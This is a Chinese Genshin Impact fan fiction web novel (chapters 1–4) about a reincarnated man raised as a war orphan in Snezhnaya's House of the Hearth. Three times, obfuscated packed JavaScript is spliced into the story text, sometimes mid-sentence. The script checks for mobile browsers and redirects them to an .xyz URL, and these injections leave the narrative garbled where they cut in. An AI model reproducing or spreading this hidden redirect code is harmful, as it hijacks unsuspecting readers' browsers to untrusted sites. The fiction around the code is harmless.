《[原神]就算是愚人众副官也有恋爱需求》 1. 经典异世界转生 谢苗是被冻醒的。 相信很多人都有冬天手脚冰冷的经历,哪怕缩在被窝里,手脚都冰凉得要命。脚踝以下没有知觉,只能蜷缩身子取暖,导致后背飕飕灌冷风,浑身止不住的哆嗦。 他现在就是这么个感受,手脚冰凉,好像躺在棺材里,和死了八百年的尸体一样。 但是偏偏有呼吸,是活着的。 铁架木板床一动就会吱呀吱呀响,像是不堪重负的老人似的。潮湿的被褥压在身上,厚重得叫人喘不过气来。 幸好膝盖还在,他使出最后的力气顶下被子让冷风灌进来,压迫许久的身体终于得到了喘息的机会,大口的呼吸着带刺的空气,寒冷扎得他呼吸道生疼。 “要死了……来人啊……” 气若游丝,谢苗有气无力的制造出更响亮的动静来。好在他是有些运道在身上的,很快来了一个上了年纪的老妇人,穿着歪歪扭扭的白大褂,薄薄的褂子下是厚重的棉服。 粗粝的手掌抚上谢苗的额头,掌心的温暖叫他忍不住蹭蹭。 老妇人似乎十分惊喜,开口就是一长串的弹舌音,给谢苗整懵了。 他这才看轻老妇人深邃面孔上混浊的蓝色眼睛,原来银色卷发不是老人的发色,是天生的啊。 这哪?Russia? 谢苗眨了眨眼睛,听不懂话,嗓子也干涩,只能哼哼唧唧表示自己很不舒服。老妇人看出他在用力的蹬被子,赶紧给他重新盖好。 谢苗:“……” 他被气得眼前发昏,用尽力气让拳头使劲砸着木板床,终于来了个年轻的金发姑娘,医护人员标志性的白大褂让她看上去相对来说可靠许多,终于把距离被压死只剩一口气的谢苗从潮湿厚重的被窝里掏出来,语速飞快的说了句什么,老妇人连忙扯过一旁架子上的厚毛毯将他裹住。 他趴在金发护士肩上,疲惫的喘着粗气。谢苗呼吸苦难,护士便一直抚他的背辅助换气。 好不容易从那种难以言喻的压迫情况下缓过劲来,护士见他的情况得到好转,将他裹严实了些,抱着谢苗匆匆离开。护士转身的时候,谢苗正好看见病房透明窗户外有道黑影一闪而过。 老妇人显然也看到了,去窗户那检查有没有关紧,果然漏了缝。叽里呱啦的说了什么谢苗也听不懂。 护士抱着他下楼,生锈的钢材楼梯吱呀吱呀,谢苗总觉得它下一秒就要垮架,被抱着下楼也是提心吊胆,生怕两个人一起摔骨折。 可是没有,楼梯忠实的承担着它的作用。 一楼大门没有关紧,门缝泻进来的风雪叫他咳嗽起来。几个医护人员显而易见的紧张,担心他又发起高烧。 “瓦列娜,怎么把小谢缪尔抱到下面来了?” “他在上面快要被压死了,被褥潮湿又厚重,根本不能保暖!幸好烧有些退了,快拿药来!” “把他抱到壁炉边吧,安塔西,再去抱一些木柴进来,我去煮晚饭。” “好的……哦对了,刚刚有野猫爬到二楼推窗户,差点把这可怜的孩子冻死。” 谢苗听不懂他们的交流,只晓得这些医护人员匆匆的忙着,老妇人将药片和温水取来给他,谢苗也没有反抗的吃了。 不吃陌生人给的东西是常识,但这已经不是能用常识来理解的情况了。 他两眼一睁出现在疑似Russia的国家,语言不通,身体缩水,外面还飘着大雪。除了信任这些看上去对他没有恶意的白大褂,他还能做什么?就算人家真的要他死,以他目前的孱弱身体来看能有什么反抗效果? 唉。 谢苗被女性抱着的经历只停留在小学阶段和妈妈相处,他看着自己的手脚,以及视线里垂下的一缕金发,无奈的叹气。 虽然那在护士看来只是一道疲惫不堪的吐息。 老天爷啊,怎么给我开了这么个玩笑。谢苗盯着那扇没有关紧的门,眼皮子无神的耷拉着。哪个正常人受得了这种开局啊? “瓦列娜,小谢缪尔怎么样了?” “已经没有发烧了,心跳脉搏都很平稳,情况比预想中要好。” “这真是太好了,不然怎么对得起叶菲姆中尉和卓娅上尉……”这所因大雪和灾难断掉补给的战地医院临时院长如释重负,看着小男孩安静的睡颜,忍不住感叹,“女皇在上,他长得可真像卓娅上尉。” 瓦列娜护士想起男孩水濛濛的眼睛:“母子俩的眼睛可真像啊……”那样水濛濛的蓝紫色眼睛,就像南地的春日。 临时院长:“小谢缪尔一定要平安长大,等雪停了路通了,后勤和救援就能赶过来。到时候就把小谢缪尔交给他们吧。” “不院长……愚人众是个什么好去处?他们只会将他交给壁炉之家!” “瓦列娜,我们别无他法。”临时院长的眼睛是冰冷的浅棕色,饱含悲伤,“他的父母是军人,战死在前线。只有将他托付给军队,他才能活下去,哪怕是进壁炉之家。” 这是实话,在寒冷而残忍的至冬,失去父母双亲的孤儿要么被壁炉之家收养,要么被其他人收养,要么死。没有人扶养的孤儿是活不到第二年春天的,因为寒冷会平等的敲响窗户,收割性命。 “壁炉之家至少能给他一口饭吃,看在他父母的面上,愚人众不会让他饿死。”临时院长知道些内情,知道壁炉之家和愚人众的联系,“瓦列娜,我们无法接手这个孩子的人生。” 瓦列娜护士忍不住握紧手掌,修剪得圆润的指甲嵌进肉里。是的,这是实话。不可名状的魔物已经袭击过这所偏僻的战地医院,为了防止污染扩散,军队会踏平此地。活着的医护会重新编册指派到其他地方,她们带不走他。 带不走,又不想让他冻死,只能交付给即将到来的愚人众,那好歹是这孩子父母的同僚。 “女皇在上……”瓦列娜护士祈祷着,却无法说出更多祷词来。至冬是无神怜爱的雪国,神明不会回应他们的请求。 可是遇到这样的事,除了向神明祷告,还能做些什么呢? 谢苗这一觉睡的极沉,瓦列娜护士给他在壁炉旁搭了张简易的小床守着他入睡。半夜测量体温,确定前天晚上要命的高烧退得干净,她才有了几分踏实感。 “孩子,一定是卓娅上尉保佑你。”瓦列娜低语呢喃,“一定要平安长大。” 至冬的风雪太冷,你要活得像块坚硬的石头,把自己冻得硬邦邦。 在这所破破烂烂好像被炮轰了的医院待了两天,谢苗终于确认这个地方应该是类似斯拉夫体系人种聚集地——五官深邃,稍微年轻些的人都长得好看。一个两个但凡身材不走样,往那一站活脱脱的模特。 只可惜她们厨艺稀烂,加上物资不够,谢苗除了吃药就是吃各种烂糊糊,里面有没磨细碎的坚硬麦麸,偶尔能吃出石粒子。第一次咬到石粒的谢苗差点把牙硌掉,好在他吐出去后继续吃,很快接受了这种饮食。 感谢天感谢地, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679232|173207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感谢友好的人类同胞,谢苗每天醒来都会感叹自己居然能过活下来。 他有意识的观察医护人员的肢体和面部表情,笨拙的学习相关词汇。但是弹舌音对谢苗这个从前没有接触系统的外语学习的华国兔子来说太难了,要不是嘴里干,唾沫星子都得喷出来。 临时院长担忧的给他检查口腔和喉咙:“学不会弹舌可怎么办啊,可怜的小谢缪尔。” 被女性长辈温柔的捧住双颊的谢苗眨了眨眼睛。 本来谢苗还在担心自己这种学习会让人警惕——按理来说五六岁的孩子都能用本国语言表达自己的诉求了,[谢缪尔]不至于发个烧就要重头学吧? 但是这几个医护人员好像都接受了这种现象,甚至是激动的,鼓励的姿态。 谢苗受宠若惊,等他“天才”的学会了基本日常词汇交流,磕磕跘跘问大家为什么对他这么好。 瓦列娜护士说:“因为你的爸爸妈妈是至冬的军人,救了我们的性命。” 谢苗:“[军人]?”军人好啊,军人妙啊,根正苗红,保家卫国。 临时院长说:“你是军人的孩子,是英烈的后代。守护你是我们的责任。” 谢苗:“谢谢,大家。”天啊,我可爱可敬的人类同胞。 当初那个老妇人安塔西心疼的给他端来热的豆子糊糊:“可怜的小谢缪尔,你刚送来这里的时候被吓到了,一句话都不肯说呢。看到你说话真让人高兴。” 以上就是这处战地医院仅剩的三个医护人员的发言。 谢苗了悟,所以“他”是战士遗孤,而且此前和这群人不熟对吗? 后来从她们的讲述中得知[谢缪尔]的父母是派来清缴魔物的军人,名为[深渊]的存在侵蚀土地和生命,是军人在保护他们。 [谢缪尔]父母所在的连队为了救出更多的平民和医生,几乎搭进去全部的成员,父亲叶菲姆中尉死在袭击中,母亲卓娅上尉在掩护她们撤离的时候为瓦列娜挡下了魔物的致命一击,躯体遭受到了不可逆转的污染,在被侵蚀异化前一枪结束自己的性命。 难以描述谢苗听完这话当时的心情,或许[谢缪尔]会为有这样的英雄父母而骄傲,但他这个占据[谢缪尔]身体的异乡人难以承受众人的爱屋及乌。 因为[谢缪尔]早就死去了,尸体躺在冰冷的被窝里。直到谢苗来到这个世界,为刚刚断息的身躯注入了新的生机。 谢苗眨眨眼睛,恶劣的心想:这样也算是某种程度上的阖家团圆。那个受到惊吓几近失语的孩子有父母的陪同,哪怕在亡者的国度也能获得幸福吧? 对不起,虽然这话听上去十分地狱。但他想不到更好的解释了。 还有一个问题:我为什么会成为占据他人身躯的孤魂野鬼呢? 谢苗仍然没有找到这个问题的答案,因为当军队穿越极寒的封锁送来物资和救援后,他就要离开这里,作为战死同袍的遗孤送去军营接受安排。 在离开战地医院时,谢苗被身穿紫色作战服的高大军人抱起,小心翼翼的掂掂他的体重:“居然比我的锤子还轻。” “太瘦了,上尉他们就是这样带孩子的?”裹着雪色白袍的大姐姐轻轻触碰他的脸颊,“让这孩子好好的吃一顿,等到了至冬城……” 后面的话谢苗就听不太懂了,他琢磨着[至冬]这个被众人反复提及的单词,觉得它跟茫茫冰雪实在是太相配了。 至寒至冷的冬国吗? 2. 母爱清仓大甩卖 谢苗还记得他被这群看着有点不太正规的军人带走的时候,临时院长往他怀里塞的黑面包,瓦列娜护士含泪的双眼,以及安塔西帮工想要伸出却收回的手。 属于临时院长她们的调令不久后就会抵达,这批先遣军查清了叶菲姆中尉和卓娅上尉领兵清除了此地突发的深渊侵袭,确实战死无误后,留下物资补给,然后带走了两个战功赫赫同僚唯一的孩子。 谢苗捧着白袍大姐姐给的冰萤灯,坐上车回头时,看见了瓦列娜护士被临时院长训斥:“打起精神来,瓦列娜。至冬国不相信眼泪*①,哭泣是没有用的。” “至冬国不相信眼泪*①?”听到这句话的谢苗重复了一遍,带着显而易见的疑惑,“因为眼泪会糊在脸上,被北风冻住吗?” 军队白袍大姐姐轻轻笑起来,伸手摸摸他被冻红的脸颊,带着一股说不出来的香风:“是的,真是聪明的小谢缪尔。” 至冬的神明是不再爱人的神,无神怜爱的雪国*②子民遇到再冰冷的风雪,再严苛的苦难,再痛苦的折磨,都不应该流泪。因为眼泪是懦弱者的诉求,而无人,也无神能回应这份诉求。打碎牙齿和血吞*③,这才是至冬人的生存手段。 永远都不能暴露自己的脆弱,除非你展露出来的[脆弱]也是武器的一种。 冰萤术士轻笑:“永远不要把自己的脆弱暴露在人前哦,小谢缪尔。” 这个有着铂金色软发的孩子眨眨眼,鸢尾蓝紫的眼睛像是初夏的天空,懵懂的、无知的、可怜的孩子。 这个孩子说:“谢谢,我会的。” 谢苗不知道冰萤术士的未尽之意,他现在也不知道白袍大姐姐也是军队军种的一类,但他能理解这些话语中的善意。 谢苗珍视每一种善意。 愚人众是隶属于至冬国冰之女皇名下的军队。 谢苗知道[愚人众]居然是一个国度军队的统称后相当震惊,为什么会取这样一个名字呢?军队的名称难道不应该炫酷无比听上去就叫人感受到高大威猛孔武有力吗? 还不等刚刚掌握入门级至冬语的谢苗琢磨明白,他又发现原来愚人众的军种简直和他认知中的军人形象大不相同。 原来身姿绰约的白袍和紫袍大姐姐是萤术士,那盏小灯是她们用来控制飞萤虫的道具,或者说武器。 捧过萤灯的谢苗目瞪口呆注视着紫色和冰蓝的飞萤,以及空气中噼里啪啦的雷点和料峭的冰寒,只觉得有什么东西在缓缓破碎又重塑。 元素力……? 谢苗已经记不清这是第几个让他大脑过载的名词了。 愚人众先遣队的风拳大哥摸摸大脑加载中的谢苗的脑袋,声音轻轻的,似乎怕吓到他:“只有至冬的士兵才可以大规模大批量的驱使元素,谢缪尔,你也会成为我们的一员。去掌握这些让你惊叹的力量。” 雷锤是队长,双臂很有力,途中休息的时候,会让谢苗坐在他肩膀上:“或者你也可以拒绝。长大后做文职也很好。” “队长……” “力量是一把双刃剑,使用它的时候,也会被它反过来侵蚀。”雷锤队长注视着这个小男孩,用自己作为前辈的身份教导这个注定加入愚人众的孩子,“但你可以尽力避开它。” 真的要跟我一个啥也不懂的小孩说这么多吗? 谢苗艰难的点点头。 “队长,卓娅上尉的孩子一定要送去那里吗?” “这不是我的意志,塔列夫下士。” “卓娅上尉和叶菲姆中尉已经战死,谢苗是他们唯一的孩子,理应受到庇护和安抚。而不是——壁炉之家……” “这是【公鸡】大人的意思。” 队长没有再听到任何质疑,叹了口气:“不是我不想他有更好的去处。只是你们知道的,卓娅上尉和叶菲姆中尉本来就是壁炉之家出身。这个孩子除了那里无处可去。” 一个连父母都是孤儿的孩子,他还有什么可以依靠的亲人?年纪这样小,还没有展露任何天赋,没有任何投资价值,你要他父母的上官怎样庇护? 这已经是上层漫不经心透下来的一瞥所能达成的最好结果。 至少壁炉之家看上去还是个像样的去处。 两人的交谈叫北风一吹,彻底消散在冰寒中。对未来一无所知连具体概念都没有的谢苗正对着生起的火堆烤干粮,干干巴巴的,就着水袋里雪化开的水囫囵吞下去,噎得嗓子眼生疼。 此时他们距离至冬城只有不到两千米的距离。 至冬城的建筑和他前生在互联网看见的异国风情街有那么点相似,浮饰雕花精美,来往车马匆匆,贵妇小姐们的裙摆层层叠叠,恍若玻璃橱窗里洒满金箔糖粉的甜美蛋糕。 谢苗想到这里不免有些馋,冰冷的环境让人体对于高热量食物有着近乎本能的渴求。可怜他这个把月都是吃军粮和烂糊糊,嘴里没滋没味,全靠成年人意志强压身体本能,才没叫口水分泌太多流出来。 这队愚人众进城后并没有大摇大摆的走在中央大道上,而是左弯右绕,带着谢苗去到一座城中庄园大门口。 没什么大见识的谢苗叫那扇厚重的浮雕大门勾起曾经看狗血电视剧的回忆,天使抱水瓶的经典动作让他不由得皱了皱鼻子,只是太冷,脸上有点多余的表情皮肤都会裂得生疼。 开门的是个身姿高挑的女性,西柚粉的微卷长发编成三股单侧麻花辫垂在胸前,透过碎发去看她蓝色*④的眼睛,好像望进了一池春水。 看上去是个很温柔的女性呢,谢苗如此心想。 她对谢苗微笑,微微蹲下身来,亲昵的捧着谢苗的脸蛋说:“欢迎来到壁炉之家,我的孩子。” “从今以后,我就是你的【母亲】,这里就是你的家。” 母亲? 谢苗愣了愣,我要有妈妈了? 女人的馨香与触碰脸蛋的温热让他初步感受到了名为踏实的感觉,因此沉浸在自己情绪中的谢苗并没有看见身后愚人众的表情。 只是一瞬间的失控,雷锤队长很快恢复好正常心态,向眼前的壁炉之家主人,愚人众执行官【仆人】行礼:“奉【公鸡】大人的命令,已经将卓娅上尉和叶菲姆中尉的遗孤谢苗送达。下官先行告退。” 谢苗:等等,他们不是叫我谢缪尔的吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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谢苗满心欢喜在脑海中如此重复这个称呼。 孩子们很热心,拥簇着将他带去做游戏。布娃娃,过家家,小皮球,小木剑……居然还有棋子和飞镖。 “谢苗谢苗,你喜不喜欢这些布娃娃?我有很多,可以分你一个哦。” “谢苗,你会不会击剑游戏?” 有的孩子比他要小,说话还不太流畅,见哥哥姐姐们围着新来的小哥哥,他挤不进来急得连连呼唤,喊得太急,“谢缪尔”这个称呼再一次出现。 谢苗被叫了这么久“谢缪尔”,对这个单词已经有了下意识的反应。大一些的孩子们对他比较关照,见他在找什么便自觉的让开一条路。 于是一个小团子便钻了进来抱住了谢苗的小腿,咿咿呀呀的举着自己的锡兵玩具要分享:“谢苗,谢缪尔哥哥。给你。” 谢苗低头看着她琥珀色的眼睛,发现这是个黑发的小女孩。 啊,至冬的黑头发还挺少见。 谢苗有些亲近她,接过锡兵玩具笑着回应:“谢谢,你叫什么名字?” 小女孩看见自己的礼物被收下,满足的笑起来,露出粉色的牙床和几粒米牙:“我叫莉兰·雪奈茨芙娜!” 真是可爱的小妹妹,如果她没有糊我一手口水就更可爱了。 3. 兄弟扮演游戏 莉兰·雪奈茨芙娜是个才三岁半的小女孩,在整个至冬壁炉之家也算是年纪最小。因此很多时候,壁炉之家的孩子都会有意无意的让着她,或者说,落下她。 “谢缪尔,莉兰才三岁,根本不记得什么事。先跟我们玩吧。”男孩们比较喜欢击剑和球类的团队游戏,可惜之前凑队伍总差一个,谢苗来得刚好。 谢苗看着正拿两个锡兵碰碰,自己跟自己玩得来劲的莉兰,他有些苦恼:“可是我之前没有玩过锡兵,我想跟莉兰学怎么玩。” 其实他对拍球击剑更没兴趣。 这个蓝眼睛的男孩子诧异:“这种事情问我们就好了啊,我教你。” 另一个听到声音的棕发男孩抱着球凑过来:“谢苗没玩过锡兵吗?其实不怎么好玩,我们六七岁就不玩了。” 谢苗:如果没记错,“我”应该还不满六岁。 话虽然这么说,他们两个还是和谢苗一起去莉兰身边坐下。嘴上说着这游戏好幼稚,实际上玩得比莉兰还起劲的也是他们。 称呼他“谢缪尔”的蓝眼睛男孩子要大一些,叫瓦西里。见莉兰因为过于兴奋而有些松垮垮的辫子绑带歪了,耐着性子给她重新系好蝴蝶结。叫他“谢苗”的棕发男孩是帕维尔,沉迷角色扮演派遣他的锡兵军队攻打莉兰女王的城池。 很快他的军队占据上风攻下城池,莉兰女王落败。但莉兰很好脾气的鼓鼓掌:“帕维尔哥哥好厉害!” “哼哼。”帕维尔臭屁,“等着,我教你怎么打赢我刚刚的布局。” 瓦西里倒没怎么关注莉兰,显然对谢苗更有兴趣。当天晚上吃晚餐的时候是他全程带着谢苗做祷告用餐,教他背“无惧冰寒与利刃,我等化作点燃炉火的柴薪,燃烧整个旧世界”。 等等,“化作点燃炉火的柴薪”是什么意思?字面意义吗? 谢苗一头雾水的背完祷词(或者更像宣誓词),吃掉相比前些日子风餐露宿不人不鬼的伙食来说显得十分精致美味的晚餐:酵母煎饼,禽肉兽肉和果酱馅饼,白菜肉卷,土豆浓汤以及必不可少的面包。 黄的棕的黑的烤的,四色面包齐全。谢苗用面包泡土豆汤吃完了三大片,蓝莓酱馅饼吃一块,苹果派吃两块,吃得直打嗝,最后还要用酸黄瓜和酸奶溜溜缝儿。 瓦西里很担心他会吃坏肚子,晚餐时间结束后硬是拉着他拍了半小时小皮球消食。 太好吃了。哪怕是酸不拉几的奶油和诡异的肉酱融合在一锅浓汤里,谢苗也可以面不改色的吃上两大碗。 他这种好胃口让关心他的瓦西里既放心又担忧。放心的是大多数孤儿来到壁炉之家后都会有一段时间沉湎于失去亲人的伤痛中导致食欲不振,而谢苗显然已经不再为伤痛所困扰。担忧的是孩子的胃负荷有限,当晚谢苗果不其然吐了好多。 “下次不能再这样贪多了。”瓦西里扶着他爬上木制小床,给他掖好被角,“家里每天都吃得很丰盛,等我们九岁后,就可以接受武术指导训练,吃更多食物。你再也不会挨饿了,谢缪尔。” 瓦西里一直将这个名字当做昵称去唤他,显然很喜欢谢苗这个刚加入家庭的小弟弟。 谢苗眨了眨眼睛,半点也没有一个成年人灵魂却被孩子照顾的羞耻。他很认真的注视着对方冰蓝色的眼睛,对方有着和他一样的铂金色短发,这大概是亲切感的由来。 “我知道了,瓦西里。”谢苗乖乖的,他渴望温暖的家庭,这会让他有一种强烈的安心和踏实感,“但为什么是九岁?” “因为九岁的时候,我们的身体就不会像现在这样脆弱,可以开始学习武艺。家里大一些的哥哥姐姐们在林子后的那栋红房子里生活。好了,你该睡觉了。”瓦西里无意和一个小弟弟说太多,自己也钻进被窝里,“晚安,谢缪尔。” “……晚安,瓦西里。” 但是谢苗并没有闭上眼睛,他回想着白天看见的一切,结合瓦西里刚刚透露的信息,认为让战地医院医护和愚人众士兵忌惮的壁炉之家并没有表面上这样简单。 就是不知道具体问题在哪里。 和他现在的年纪差不多大的孩子对【家】有着强烈的归属感,团结友爱,乐于分享,视彼此为手足同胞。一群真心实意将你看做家人的孩子,哪怕是铁打的心都能在糖衣炮弹的攻击下融化成水。 何况像谢苗这样看上去并没有多重心防的六岁小孩呢? 但没人知道谢苗已经不是真的孩子了。 他闭上眼睛,陷入酣甜的梦乡。 屋外的风敲打着玻璃窗,簌簌飘落的雪花很快覆盖了长街、回廊、屋顶和小树林。庄园的湖泊河流表面被冻凝,只有烟囱往外噗噗吐着黑云。 谢苗发现自己还怪讨小孩喜欢的。连带着自己的本名都不怎么被提起,孩子们总是亲昵的叫他“谢缪尔”。 “还适应【家】的环境吗?谢苗。”库嘉维娜关心新家庭成员的融入情况,“和大家相处得怎么样?” “我以前没有兄弟姐妹,这样热情的家庭环境很新奇。”谢苗如实道,反正战地医院医护她们早就说过原身是卓娅夫妇唯一的孩子,“瓦西里他们也很照顾我。” 库嘉维娜笑容和暖:“就像我说的那样,你们是彼此的手足同胞。从今往后要相亲相爱,维护【家】和女皇的利益。你会适应的,就像……卓娅那样。” “……妈妈?” “你该叫我【母亲大人】。”库嘉维娜笑容不变,哪怕她知道谢苗是因为她提起卓娅才会不自觉的喊妈妈。但改口是必然的,“见到你的第一眼,我就知道你一定是她的孩子。” 他们坐在库嘉维娜的办公室聊天,还有甜饼干和热牛奶。 谢苗猜测库嘉维娜可能和卓娅上尉有一段渊源,因为对方经常端详自己的眼睛。 他的眼睛……是承袭原身母亲的,少见的蓝紫色。 遗传真是奇妙。 但谢苗总觉得不止于此,库嘉维娜掩饰得很好,但身居高位许久,加上面对的是稚子,眼中的狂热叫有着成年人灵魂的谢苗捕捉到了。 为什么会有狂热这样的情绪? 我身上有什么值得她关注的价值吗? 谢苗不明白,但直觉告诉他他必须明白。所以在离开库嘉维娜的办公室自由活动后,他找到了瓦西里:“瓦西里,除了做游戏,自由活动时间,我们还可以去哪里呢?” “现在外面下了很大的雪,不能到院子里玩。但是可以围在炉火边听【母亲】大人讲故事。”瓦西里帮两个乱动的小女孩重新扎好辫子,哄着她们去做游戏。回头看着谢苗问,“你以前都怎么玩的?” 瓦西里是在问谢苗没有加入壁炉之家前的生活。 “……画画,做算数,或者看书。” 画图,搭建模型,失败了就看资料再来。谢苗以前的生活麻木而乏味,但他不讨厌,现在想来还有几分怀念。 毕竟他对于真的像孩子那样做游戏感到厌倦,玩不下去啊。 又不是真的降智了! 瓦西里对此倒也不意外:“那要和莉兰她们一起画画吗?” “不要。”谢苗摇头,“我想看书。” 瓦西里说:“晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679234|173207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上就会发给你书本和纸笔。【家】里每三天上一次课,有老师教我们知识。【母亲】大人会布置作业然后检查。明天就是上课的日子,你应该可以适应。” 他看见弟弟的脸上没有露出明显的高兴表情,估计是对课本不感兴趣,想了想:“那我带你去找大一些的哥哥姐姐们吧。” “在小树林后面的红房子里吗?”谢苗有些意动,早上起来的时候他扒着窗户看过,树林后是红色的尖尖的屋顶,看上去十分寂静。 瓦西里点点头,牵着他的手走到起居室门口穿上斗篷和厚厚的靴子——从宿舍过来时会经过透风的回廊,为了保暖,孩子们人手一件厚斗篷。 庄园里驻守的穿红黑袍子的守卫并不多,大多数充当人形监控和安全员,不让这帮小孩因为贪玩掉进湖里。九岁以下和九岁以上分两个大区,小树林隔开。中间有道石子小径,因为往来人并不算多,积雪已经盖了很厚。 谢苗只看见了两个守卫,瓦西里大大方方的走过去,理所当然的被拦下:“做什么?” “去图书馆借书。明天就要上课了,功课还差一点没做完。” 守卫脸上戴着银白的面具,但谢苗知道他在挑眉,似乎在评判瓦西里话语的真假:“那他呢?” 瓦西里面不改色:“我一个人害怕。” 小屁孩就是这样,干什么都要拉个伴一起。 守卫嗤笑一声“有什么可害怕的”,身体还是很诚实的让开,放这两个小孩过去。反正里面也不是什么秘密基地,他们总会搬进去的。 走完小路看见红房子的正面,谢苗才小声询问:“你真的没做完吗?”我可以教你,反正不会太难。 瓦西里淡然道:“那只是个借口。他也只需要一个理由。” 谢苗明白了,没想到八岁的孩子也晓得如何利用规矩做事。很快瓦西里带着他找到了一个十二三岁的男孩要到了两份图书馆借书证,拿着借书证走进图书馆,管理员眼皮都没抬一下,放了两个还没有管理处桌子高的小孩进去。 弄到借书证进来是他们的本事,壁炉之家也默许这种行为。 “好顺利啊。”谢苗仰头看着庞大的图书馆和书架,压低声音和瓦西里咬耳朵。虽然自己以前也不是没干过这种事,但用小孩子身体跟着一个孩子再做一次,难免有种回到最初的感慨。 “壁炉之家鼓励一切变强的行为。无论是武力还是知识。”瓦西里推着他去找书,“不管怎么说,先找到你想看的书吧。童话故事还是医毒药理,或者心理学和社交手腕?” 后面的都是什么跟什么?这么小就接触这些吗? 谢苗根据索引找到了心仪的书,一本超厚的,足足三个砖头那么厚的书。他拍拍封面的灰:“就这本了。” “《提瓦特风物志》?你喜欢这种?”瓦西里也不是真的想要一个回答,“我帮你搬过去吧。” 管理员也不问两个小屁孩看这么厚的书干什么,办好借阅手续后继续做自己的事。瓦西里力气很大,走了大半路才把书还给谢苗抱着。 库嘉维娜对于他们大冷天跑去后面图书馆借书的行为并不发表什么意见或者看法,有孩子能够跳出童话的温床主动汲取更多知识是好事。 这样竞争出来的才会是合格的【王】。 倒是瓦西里有点不高兴,因为谢苗拿到书后几乎废寝忘食的翻阅,连吃饭做祷告都心不在焉的。 “谢缪尔,你再这样我就要生气了。” “我会乖乖的,你别生气。”谢苗抱着他的手臂仰头说,“你最好了,瓦西里。” 4. 这里不是避风港 《提瓦特风物志》这本书堪比前世翻阅的精装版四库全书,配有彩绘图,山川人文地理特产囊括其中,各国特产都有三种语言来介绍(至冬语,提瓦特通用语,以及该特产所属国家语言)——谢苗终于窥探到了异世界真实模样的一角。 但这不是主要目的。现在最重要的是看完这本书然后顺理成章去借下一本,他需要更多更扎实的理由通过图书馆认识这个世界。另外,他也需要知道为什么库嘉维娜对自己有着别样的关注。 虽然重新有妈妈的感觉很好,但是他更信任自己在职场摸爬滚打多年后培养的直觉。 只是英烈遗孤的身份,不足以支撑一座国家级福利院掌权者另眼相看。 瓦西里不明白他心里的小九九,见他喜欢看书,好奇:“上面的单词你都看得懂吗?” “所以我配了词典。”谢苗拿着另一本词典晃了晃,“不认识的单词查一查就知道了。” 至冬语语法复杂,谢苗自打穿来后一个多月没少为此苦恼。幸好壁炉之家三天一上课,会教语言词汇之类的,利用词典倒是能生啃硬套的学。 让谢苗比较烦躁的是除了至冬语,他们还要学习提瓦特通用语以及至冬贵族圈流行的小语种。哪怕他有成人的脑子也经常转不过弯来,但这群孩子里就是有天赋异禀能掌握多国语言的奇才。 谢苗叹为观止,然后奋发读书。 瓦西里对这个弟弟的好学很欣慰,抱着自己的心理学书籍去看了。 在壁炉之家的生活其实说得上枯燥而乏味,但是三餐无忧,住处温暖。曾被生活压弯脊梁的谢苗很满意,安安分分的待在这座庄园里。 有时候庄园会来一些穿着军装的人,他们和库嘉维娜交谈,然后一起去小树林后的房子。每次来人拜访,他们就无法走出温暖的休息厅和起居室。但好消息是,穿军装的叔叔阿姨会给他们分发礼物。 因为壁炉之家里有八成孩子是战争孤儿,也是军人的遗孤。 谢苗知道这一点后更加坚信自己的直觉。你看,都是军人的遗孤,凭什么我会被库嘉维娜用那种狂热的眼神注视? 谢苗七岁的时候,瓦西里已经九岁。铂金色短发和冰蓝的眼睛在至冬是美貌的标准之一,库嘉维娜对于手下孩子拥有一副好模样也是满意的,瓦西里生日当晚,她当着众多孩子的面说:“让我们祝贺瓦西里,这个英俊的小男孩已经年满九岁。身体健壮,潜力无穷。可以接受更为正式的训练,为伟大的冰之女皇效力。今晚会是他和大家相处的最后一晚,明天太阳升起,瓦西里就要到红房子里和哥哥姐姐们一起学习。” “珍惜最后的一晚吧,孩子们。”库嘉维娜站在瓦西里身后,微笑着注视面前的一群孩子。 谢苗总觉得她的目光落在了自己身上好几次。 他捕捉到那道目光,然后微笑着和她对视。 当天晚上,瓦西里收拾好自己的行李后准备拖鞋上床。看见对床的谢苗居然没有躺下:“还不睡觉,在想什么?” “我在想……以后是不是可以直接找你拿借书证。”那样瓦西里就不会因为欠哥哥姐姐的人情帮他们写作业了——心理学相关的书籍都是为他们看的。瓦西里自己还是个喜欢球类运动的小屁孩。 瓦西里被他一本正经的样子逗乐了:“当然可以,而且我不会让你帮我写作业。” 谢苗躺下来:“那就好。” 孩子们几乎都睡得早,就他们两个心里装着事睡不着。 躺下来后屋子里静悄悄的,黑夜里只听得见彼此的呼吸声。 “……你会想我吗?” “再过两年我就去陪你了。” “我也会想你的,谢缪尔。”瓦西里似乎笑了一下,他的声音很轻,好像梦中的低语。但谢苗听见了,只好闭眼装睡。 第二天早上起来,对面的床铺空荡荡的。被子铺得一丝褶皱都没有,好像昨晚这里没有躺过一个人。 “瓦西里呢?”谢苗愣了。 “瓦西里哥哥应该走了吧。天还没亮的时候我起来嘘嘘,看见母亲大人牵着他去小树林后面的红房子那里了。”同屋的小男孩乖巧回答。 